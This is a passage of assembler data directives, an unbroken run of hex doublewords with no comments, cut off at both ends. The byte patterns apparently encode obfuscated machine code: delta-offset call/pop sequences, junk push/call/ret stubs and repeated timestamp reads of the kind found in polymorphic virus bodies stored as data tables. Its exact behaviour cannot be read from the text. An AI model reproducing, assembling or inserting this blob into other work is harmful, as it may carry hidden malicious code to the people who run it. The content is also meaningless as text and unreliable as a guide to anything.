0E408819Dh, 106C707h dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0AFBAC356h, 0E14FE3BBh, 8D899116h dd 7E40439h, 3BB6650h, 2434890Bh, 0CE8h, 0A777F900h, 225D24B3h dd 1D4784D0h, 5FDF8B3Ah, 0F8A5B5FFh, 8D8907E7h, 7E40E89h dd 2A0995FFh, 0D98B07E4h, 25F19589h, 0B58B07E4h, 7E7F899h dd 1ADD8D89h, 858B07E4h, 7E43165h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 12C35343h, 4980E47Eh, 0F88B662Eh dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0A7485FC3h, 8824407Ah, 958BFA8Bh dd 7E41B71h, 27959589h, 0C28307E4h, 89FA8B04h, 8D892050h dd 7E41CA5h, 0CD4858Dh, 6A07E8h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 6A7FA1C3h, 0B2F9B8EEh dd 89F6409Ch, 0E4213D8Dh, 5DBD8B07h, 8907E405h, 0B886h dd 29B58900h, 0F07E414h, 6AF8B7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 82C35242h, 348DC415h, 36D7FF2Dh dd 0A5B5FFEAh, 6A07E7F8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0C9D0C357h, 8166232Fh dd 0FFCFB6F7h, 0E431AD95h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 510EEC71h dd 0AC3BB11Fh, 30319589h, 0BF9607E4h, 2A9F104Eh, 0EE950h dd 0FF250000h, 0F755AC9Fh, 0B00BE280h, 0E2B3E57Bh, 53006A96h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0FF259F8Eh, 0E7F8A5B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0FE91A466h dd 68E386BFh, 0BF66CC77h, 95FF1BC1h, 7E41B11h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 92C35040h, 8EA4E512h dd 0B0D9D8Bh, 0BD8307E4h, 7E40DF9h, 26840F00h, 0F000000h dd 686h, 79BD0900h, 9607E40Dh, 9E9h, 680EA500h, 78C43AF8h dd 5050CAE4h, 0DE8B6652h, 585A310Fh, 0A5B5FF96h, 0F07E7F8h dd 0C8Eh, 68D0F00h, 89000000h, 0E409598Dh, 7D95FF07h, 6A07E402h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0C402C357h, 0E59D8B00h, 0FF07E418h, 0E7F8A5B5h dd 48A0F07h, 52000000h, 0FF5B6160h, 0E4097195h, 68F0F07h dd 33000000h, 0E43011BDh, 21BD8307h, 207E40Ah, 77840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 889E5DC3h, 0BD0BE254h, 7E420F5h, 1EB5858Bh dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0BBE167C3h, 6B3D5915h, 0DE960h, 9EEE0000h dd 0D7694F5Bh, 534BCC70h, 666C3767h, 6121ACB9h, 0E1BD0160h dd 8107E418h, 692833D3h, 0C66117h, 7185C700h, 7E426h, 29000000h dd 0E40D318Dh, 0F433E907h, 880FFFFFh, 6, 2301BD31h, 8D2907E4h dd 7E42639h, 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0C249FCC3h, 0CBFFDB81h, 858D5C53h dd 7E40D85h, 8B666090h, 8B5250D9h, 0B5310FCAh, 61585AABh dd 12E950h, 1D730000h, 4C9C5ECEh, 2E989985h, 24427D70h dd 0E4B11E02h, 0A5BD0390h, 6A07E41Fh, 85BD8B00h, 6A07E402h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 36965EC8h, 12E994DBh, 0CB000000h, 0A1EC12C3h dd 0B9125EECh, 0DE2AB413h, 3EEAB696h, 69950114h, 8D07E40Fh dd 0E91F3C85h, 0C083F507h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7252E92Eh dd 9D8BD780h, 7E40291h, 8E990h, 0BB480000h, 58DD93BAh dd 8B50DE9Bh, 6A90DEh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 7900DDC3h, 8B2BC1F9h, 0E422B5BDh dd 80006A07h, 6A54EBh, 95FF23B3h, 7E42471h, 9159D8Bh, 8D8D07E4h dd 7E7D64Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 20C35242h, 0B0702BF6h, 0CF80F956h, 8AD1FFCCh, 15BD83F9h dd 107E420h, 31850Fh, 26A0000h, 1A419589h, 0BD8B07E4h dd 7E42251h, 9F33BF50h, 489347Bh, 25BD8B24h, 8B07E40Ah dd 0E4194D9Dh, 0AD95FF07h, 0F07E431h, 287h, 0E985B300h dd 0F11h, 0E8h, 0ED815D00h, 7E91F46h, 1FF99D89h, 9D8B07E4h dd 7E422F9h, 0C6E1858Dh, 0E38107E7h, 5C46A629h, 24048950h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FFC35545h dd 0E7555CAEh, 7E91506h, 8E000000h, 0CA99A73Dh, 0FF64F503h dd 35h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 662C4B27h, 44E9C781h, 1A4D9501h dd 896407E4h, 25h, 7622BB00h, 85FF3177h, 7E420B9h, 22418D89h dd 860F07E4h, 0Eh, 9E9h, 5E5F9000h, 0C02D263h, 0FF6A5308h dd 18A98D89h, 0B5FF07E4h, 7E41E8Dh, 3860Fh, 8B660000h dd 4D95FFD8h, 0E907E430h, 142h, 6860Fh, 0D7810000h, 35923030h dd 0B0DA8Bh, 0CE9h, 45CF6900h, 99DA2D91h, 16F506C7h, 2970E64Dh dd 0E41AB58Dh, 8B71E407h, 0E426E99Dh, 0F613C07h, 10983h dd 14FABB00h, 0BD8B1BF0h, 7E429DDh, 8BC8B60Fh, 0E42BB1BDh dd 6BA07h, 0BD030000h, 7E422B1h, 0E8C1C18Bh, 9D895104h dd 7E41F3Dh, 0E2F7665Bh, 60DF8B66h, 0A4A1DF81h, 858B1A53h dd 7E40F95h, 0E8C82B61h, 0Dh, 0DE740FD8h, 8847C9B8h, 35627B57h dd 3DADBF10h, 8B5F1BB1h, 11E9D1h, 16910000h, 78F001h, 9B80864Ah dd 3BD7AAE6h, 667FA85Ah, 0E9DD25BBh, 8Eh, 8BDFBF0Fh, 485h dd 9D9D3100h, 0FC07E42Bh, 6607C083h, 42A8C381h, 0B300C083h dd 0FD03BFAh, 2883h, 0CE900h, 27E50000h, 489E9DC0h, 6CBA4ABCh dd 53E924BFh, 0F000000h, 682h, 75958900h, 3107E42Dh, 0E403D1B5h dd 0FF8D8B07h, 9FFFFFFh, 0E4144DB5h dd 1E18307h, 2C840Fh, 0BD8B0000h, 7E43209h, 0FFFFA583h dd 0BFFEFFFFh, 7457705Ch, 0AE9h, 0F732D800h, 4981FF87h dd 895CDC1Dh, 495h, 0E900h, 0B58D0000h, 7E899A5h, 13959531h dd 6A07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 23C35747h, 0BD0E609Fh, 95FF22B7h, 7E40E41h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DDC35343h, 8589F9E0h dd 7E41815h, 0FB5B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 89727EF8h, 0E42689B5h dd 0FCE18307h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0B9C35040h, 0E12B8DC5h, 50006AFCh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 4CA6FA1Ch dd 81668717h, 0B86BC1CBh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 5DC35040h dd 0B04E0433h, 0A58531E4h, 2B07E401h, 53006AD2h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0CCBB3A49h, 8BB757A4h, 0E401419Dh, 0C233AD07h, 0D003E8D1h dd 7504E983h, 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0BC3119FEh, 6AF8629Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 22D8C351h, 3FF8133Dh, 669BD8Bh, 880D07E4h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 32BFC357h, 162904E4h, 8BE97309h, 0E41AA1BDh dd 99BD2307h, 8B07E423h, 0E41B7195h, 5E907h, 0E0110000h dd 8B998D13h, 0E42DA18Dh, 8DF38107h, 5008E8F5h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0A8FCD598h dd 158B0FA1h, 0E8000000h, 0Ch, 3038F183h, 0FB420A7Ch, 40F9C61Dh dd 5FFBB70Fh, 2601BD8Bh, 0BD8307E4h, 7E40611h, 6A840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 5A61C352h, 0E5B3C6B6h, 0B8h, 55BD8B00h dd 8107E416h, 0D22EC5E3h, 0E78D8D59h, 0E907E44Fh, 7, 0E7FF7DE7h dd 0FF30A050h, 50006AE1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 23C641ADh, 0E41E199Dh dd 0B9BD8307h, 7E422h, 4B8840Fh, 0BD290000h, 7E40085h dd 4CABD781h, 0BD834E7Ah, 7E422B9h, 0BA840F01h, 3000004h dd 0E407B59Dh, 0B9BD8307h, 307E422h, 471860Fh, 840F0000h dd 6, 3071BD8Bh, 6A6007E4h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0E310C356h, 8C66CC12h dd 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8BE6BDBDh, 0E41B1D9Dh, 0FAB70F07h, 6A04E180h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0A6EC357h, 9B840FC9h, 0F000001h, 0A8Eh, 5E900h dd 92000000h, 8BA8DBAAh, 0E4065185h, 49958907h, 3307E423h dd 0E4202985h, 0DE907h, 52540000h, 0B2F3864Fh, 0F29B2C3Eh dd 9057E11Eh, 0FE9h, 0BD957A00h, 1850CF4Eh, 0F63F8CFDh dd 282F08F8h, 50525050h, 0F525052h, 0F585A31h, 5AD88B31h dd 60310F58h, 0B0EE6EBFh, 0DE8B666Ah, 90585A61h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E1C35242h, 8166353Fh dd 6AE6FEDBh, 0BF0F6000h, 10E9CEh, 3A60000h, 9AA26631h dd 796646C1h, 9D822777h, 68615B58h, 0AB40FACh, 753343BBh dd 2434815Bh, 0AAB0C53h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 7EC35242h, 7E8h, 358FE800h, 9F02D71Bh dd 5959D31h, 0E85F07E4h, 7, 5B7E73C8h, 0FC613A6Fh, 9995FF5Bh dd 6A07E42Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 2A31C355h, 0DEF90C29h, 0D98B17EBh dd 12E8h, 0B583CB00h, 0E20B6479h, 44413BB4h, 523A76CFh dd 2B61E4E5h, 0E404319Dh, 0BF665F07h, 8589E9D7h, 7E7F8A5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E5C35747h dd 29B31A0Dh, 0B75FBBFBh, 0AE97DB9h, 6A000002h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 3436C357h, 25E0F31Ch, 3E9B509h, 858B07E4h, 7E7F89Dh dd 0EE9h, 0AB0B1B00h, 99D95D05h, 0EF5FE744h, 0C7AFA6AFh dd 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 298D89FBh, 8B07E406h, 0E7F8A1B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0D98B3DFFh, 99858Bh, 9D2307E4h, 7E4258Dh dd 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 275166C3h, 5484BF0Ch, 6850Fh, 85310000h dd 7E40991h, 651858Bh, 0FE8B07E4h, 89FAB70Fh, 6A0446h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 3758B9C3h, 217F3ED7h, 2369FEB3h, 0E404D19Dh, 63BF9607h dd 5061E4BDh, 0A830Fh, 850F0000h, 4, 7A78BB66h, 51006A96h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 5D145A4Fh, 3C6A2592h, 0F99589BDh, 0FF07E400h, 0E7F89DB5h dd 21BD8B07h, 6607E42Dh, 688539BBh, 0B27077F6h, 0AE9h dd 0D8865200h, 9F5D9B2Dh, 8148B13Ah, 8C092404h, 0BD314DAEh dd 7E42B61h, 0F8A5858Dh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 128E11C3h, 397E6189h dd 0F903586h, 388Dh, 0E8525000h, 12h, 1072424Bh, 0EDA99ABAh dd 0CCCB986Ch, 49C9654h, 0F5B54A1h, 14E831h, 36EB0000h dd 296570A6h, 9A8C4255h, 6F0FD98Bh, 0A3482BEEh, 5A5BB6ADh dd 8B905058h, 0E4249DBDh, 9995FF07h, 5307E42Dh, 12E9h dd 0BD299D00h, 0EF7D573Ah, 1B1CDCDDh, 0A522B05Ch, 5FD4106Ch dd 0B8ADA7BBh, 6A6109h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 3F0621C3h, 178F5A80h, 28B0F56h dd 0B3000000h, 85C75BB6h, 7E422B9h, 3, 20E5BD89h, 0BD8307E4h dd 7E7F8A5h, 2C840F00h, 89000000h, 0E4332DB5h, 3CE907h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 200853C3h, 50F97D36h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9868AEC3h dd 7E381D7h, 891971BCh, 0E416518Dh, 0B9BD8307h, 307E422h dd 516850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 14460FC3h, 362F96F9h, 816603B2h dd 837FD3F7h, 0E7F8A5BDh, 840F0007h, 4E0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 9CC35040h, 3B500863h dd 0E1B5893Dh, 0FF07E402h, 0E7F8A5B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0EC9DEE09h, 0FD8BF0Fh, 18Dh, 95FFF800h, 7E4044Dh, 86EB8166h dd 0F11BB5Ch, 0B58B2F32h, 7E7F899h, 6C7DE8Bh, 10001h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 85C35545h, 66FF56CEh dd 0F96FE8Bh, 188Ch, 13E900h, 22050000h, 836C528h, 8B96BDADh dd 98D1CF35h, 45E053F6h, 7E8504Ch, 3E000000h, 0BC1859CCh dd 4AB3EEBAh, 6A965Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 40C24BC3h, 0FF0A5F1Ch dd 0E7F8A5B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 11454F67h, 59CAAF63h dd 13E8E17Eh, 3000000h, 12A73089h, 0F734DFE8h, 310934C9h dd 9E7BB38Ch, 0D98B6C5Eh, 0F88B665Fh, 2A0995FFh, 6A07E4h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 7CEA7CC3h, 8D29B384h, 7E413D1h, 0F899B58Bh, 6A07E7h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 20C3E1C3h, 96112EDBh, 858B17D7h, 7E43165h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 6CC35242h, 0D8E90424h dd 0F0D381B6h, 0E9688B25h, 6, 60AAC9A5h, 868985A3h, 0C4h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 38C35747h dd 0E06846DBh, 0D552200h, 68A0Fh, 0C3810000h, 4BAEBE63h dd 2D9B529h, 958B07E4h, 7E41B71h, 0BD92C381h, 0C283337Fh dd 0E5BD8904h, 8907E41Dh, 6A2050h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 1883C0C3h, 8DAFB4B6h dd 0E80CD485h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 994116D1h, 8B66CE5Ch dd 0B88689FAh, 31000000h, 0E406D1B5h, 6A006A07h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 1C31C357h, 60EE825Eh, 95892947h, 7E4141Dh, 0F8A5B5FFh dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8589B5C3h, 7E41441h, 31AD95FFh, 0BF6607E4h dd 6650BAB4h, 89CDCBBBh, 6A2434h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0BBEB42C3h, 528FEF3Fh dd 2B48ACBBh, 0A5B5FF39h, 6A07E7F8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C492C351h dd 0EE86090h, 0C9000000h, 95474C76h, 4CF16F78h, 0E2F58A48h dd 1FBE66EEh, 895059E0h, 0E40219B5h, 0FF615907h, 0E41B1195h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0B1329A3Dh, 25159529h, 83F807E4h, 0E40DF9BDh dd 840F0007h, 59h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0C9C35545h, 2F4A9B64h, 0F885D1Ah, 681h dd 659D3300h, 9607E41Ch, 2840BB66h, 82B36050h, 9E960h dd 0ECF50000h, 34A9752h, 50169075h, 5A310F52h, 96616158h dd 3860Fh, 0C3800000h, 0A5B5FF05h, 6A07E7F8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 3276C352h, 0D8AC7415h, 0D98BBDA3h, 27D95FFh, 6A07E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8B6685C3h, 0A5B5FFD9h, 6A07E7F8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 45B7C351h dd 0E6D8B949h, 0B925BB99h, 97195FFh, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 9C0B6EC3h dd 0BBF47F6Bh, 1A0BC88h, 0A21BD83h, 0F0207E4h, 5084h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 8BD98B0Ch, 0E41EB585h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BD8BD2F6h dd 7E412C1h, 2B0000C6h, 0E414BD9Dh, 7185C707h, 7E426h dd 0BF000000h, 531DD13Dh, 0FFF1B9E9h, 8D9D8BFFh, 8B07E412h dd 0E423A9BDh, 66C18B07h, 8BE36DBFh, 0E400CD9Dh, 85858D07h dd 0F07E40Dh, 83h, 90509000h, 31CD8589h, 6A07E4h, 237DBD2Bh dd 0EE907E4h, 2F000000h, 0A7D505F3h, 0DC642C61h, 1A00A8D5h dd 8B006AE8h, 0E4332DBDh, 30858D07h, 6A07E930h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 195C352h, 816A37F5h, 0B7049C3h, 5C0837Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D8C35141h, 4D9D239Eh dd 8907E41Ch, 0E4272D8Dh, 66509007h, 9022B8BBh, 168E0Fh dd 11E90000h, 82000000h, 72E90ED4h, 0AF9CAF85h, 3844C0Dh dd 71EF014Fh, 9E8h, 0BEB36100h, 0E09FA3F2h, 14E94BD1h dd 0AF000000h, 0AED53236h, 20F3DCDAh, 916E136Bh, 0B745AD00h dd 5FB0370Bh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 1A639C3h, 5199D8Bh, 6A07E4h, 0FF50D780h dd 0E4247195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E979CACFh, 0Fh, 11EF2123h dd 6ACCE1E5h, 0EBA4F09Dh, 8D14DC55h, 0E7D64B8Dh, 5E907h dd 782E0000h, 0FFE854DEh, 56006AD1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0AA6C173Bh dd 0FFB70F15h, 2015BD83h, 0F0107E4h, 5E85h, 4D950100h dd 2907E41Dh, 0E4264DBDh, 66026A07h, 0A169C381h, 7E890h dd 219A0000h, 494357C0h, 0B519BB9Fh, 505F236Ah, 6A90DA8Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 66FEC353h, 0CF555421h, 0AD95FFF1h, 0F07E431h dd 68Dh, 0A19D8B00h, 0E907E40Fh, 0D82h, 0E8h, 0ED815D00h dd 7E9303Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0EAC35747h, 0C99D8B7Dh, 8B07E422h, 0E42ED9BDh dd 0E1858D07h, 0E907E7C6h, 10h, 0AEC082F0h, 60B7341Fh dd 64196BF6h, 31A8ECABh, 14E86050h, 0E5000000h, 0C70BA7BFh dd 1F80EA18h, 0B24BADD6h, 0FCA89146h, 66524B0Dh, 0E858D18Bh dd 0Ch, 84C168BDh, 9F4E8DE6h, 9B7CAFE5h, 6158B6B2h, 31240489h dd 0E425899Dh, 35FF6407h, 0 dd 27B1BD01h, 896407E4h, 25h, 14E900h, 0CD060000h, 47105587h dd 3AE37819h, 0AD59BB3Dh, 0CCA54284h, 85FF946Eh, 7E420B9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BFC35141h dd 85250FEFh, 4E7B358h, 6AD88B02h, 0C880FFFh, 0F000000h dd 683h, 4D9D8B00h, 0FF07E422h, 0E42291B5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0E235E4A9h, 95FFCCB7h, 7E4304Dh, 119E9h, 99D8B00h, 0B007E416h dd 4DB58900h, 0F07E415h, 70E6F9BFh, 23899D23h, 71E407E4h dd 613CD88Bh, 0F4830Fh, 0BD8B0000h, 7E42349h, 6830Fh, 9D890000h dd 7E407ADh, 60C8B60Fh, 7CD858Bh, 5E907E4h, 0CE000000h dd 39130CDBh, 6BA61h, 0FE8B0000h, 8589C18Bh, 7E4163Dh dd 6604E8C1h, 971CDB81h, 2BE2F766h, 9D8957C8h, 7E42DF1h dd 89D18B5Bh, 0E42B999Dh, 9CE907h, 89510000h, 0E412C1B5h dd 858B5F07h, 5F4C4C44h, 6D5BD0Bh, 816607E4h, 8329E2DFh dd 816607C0h, 0BF5460F3h, 79059557h, 6600C083h, 208CB81h dd 830FD03Bh, 1Bh, 0E9FABF0Fh, 5Eh, 7E8h, 0BC13E100h, 938F1667h dd 186D9D09h, 8B5F07E4h, 0FFFFFF8Dh, 13E9FFh, 0E17A0000h dd 1A1279DBh, 955FADE2h, 6ACD3BC0h, 0E3DF2D14h, 1E18353h dd 24840Fh, 9D890000h, 7E42D89h, 0FFFFA583h, 23FEFFFFh dd 0E418A99Dh, 44958907h, 8B5F4C4Ch, 0E40345BDh, 0E907h dd 0B58D0000h, 7E8A95Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 39C35545h, 0E9574250h, 12h, 1E419516h dd 8B205336h, 83A2994Fh, 1BE59302h, 6A5B97A7h, 0C5BD8B00h dd 0FF07E42Dh, 0E40E4195h, 0B5895707h, 7E4185Dh, 0FA5B95Bh dd 8B560000h, 0E40D899Dh, 0E1835F07h, 6AFCFCh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0EF8015C3h, 85895798h, 7E42C65h, 0B85Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 8321EFC3h, 0EE98Bh, 3D680000h, 6447F591h, 8338109h dd 0AAEABA00h, 8B66D22Bh, 0C233ADF9h, 0D003E8D1h, 7504E983h dd 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 341B3413h, 0FF75E063h, 6A76B7h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0A54AE9C3h, 3D291DC4h, 880D4168h, 0B3000000h, 71958B5Ah dd 8B07E41Bh, 0E42DA18Dh, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 71BDD6AFh dd 0F688E060h, 8A530FC3h, 870F5BDAh, 3, 5013CB80h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 318D2958h, 6A07E414h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 8A15C355h, 83D1BE30h, 0E40611BDh, 840F0007h dd 61h, 7DD78166h, 0B877h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0F3992EC3h dd 8D492FCFh, 0E44FE78Dh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0D0F9B697h dd 23F330F5h, 0E41DDDBDh, 8BE1FF07h, 0E42679BDh, 0B9BD8307h dd 7E422h, 4AB840Fh, 0BD830000h, 7E422B9h, 0B9840F01h dd 83000004h, 0E422B9BDh, 860F0307h, 476h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D9C35141h, 0D59723A0h dd 1AB9BD01h, 8D0F07E4h, 16h, 0AE8h, 49069300h, 0F7E0D5E4h dd 0FF7FD25h, 87h, 6A605B00h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0ACC6C353h, 54464F12h dd 662B1750h, 5578DF81h, 6AD98C66h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0EE3EC357h dd 55BF66C4h, 4E18007h, 8E8h, 0B0F9D600h, 12F6C979h, 0C98D31C1h dd 5F07E40Dh, 840FC90Ah, 1E0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0CFC35545h, 9382B582h, 77FC6A65h dd 128D0Fh, 0E9600000h, 5, 740B0635h, 890F0Ah, 61000000h dd 651858Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0D3EA1DC3h, 8B22B3A5h, 0E4025DBDh dd 29853307h, 6A07E420h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0BBFCC355h, 2F8EC20Eh dd 0C143BB90h, 50506120h, 0F525051h, 5F585A31h, 6A905Fh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 947720C3h, 4C7DE24Ah, 815CBF14h, 0F9644DDFh, 6A006A63h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 2F1C350h, 0DE9A5A9h, 0D1000000h, 2E05A293h dd 0A109449Bh, 98B052E7h, 4E8h, 1F03FF00h, 0D88B6600h dd 0EE950h, 75E30000h, 45B81A70h, 10C97BD4h, 58353A2Bh dd 424448Bh, 6569BB66h, 5F53008Bh, 4244489h, 0E8DF8B60h dd 11h, 82A2BEE3h, 322CA78Ah, 0CC7AEBC3h, 0F2358D5h, 12E909h dd 972F0000h, 6BC56701h, 6F160786h, 0EBB7A50Fh, 1D0FD75Eh dd 6A586158h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 9553C357h, 4834821Ch, 76BBB462h dd 1F59D89h, 95FF07E4h, 7E42D99h, 1FFD8D09h, 8E0F07E4h dd 1, 0A58589F5h, 6A07E7F8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 3AD8C352h, 7A235A4h dd 99D9D29h, 816007E4h, 0E071BED0h, 72E96165h, 57000001h dd 5BD98B66h, 0F89D858Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h dd 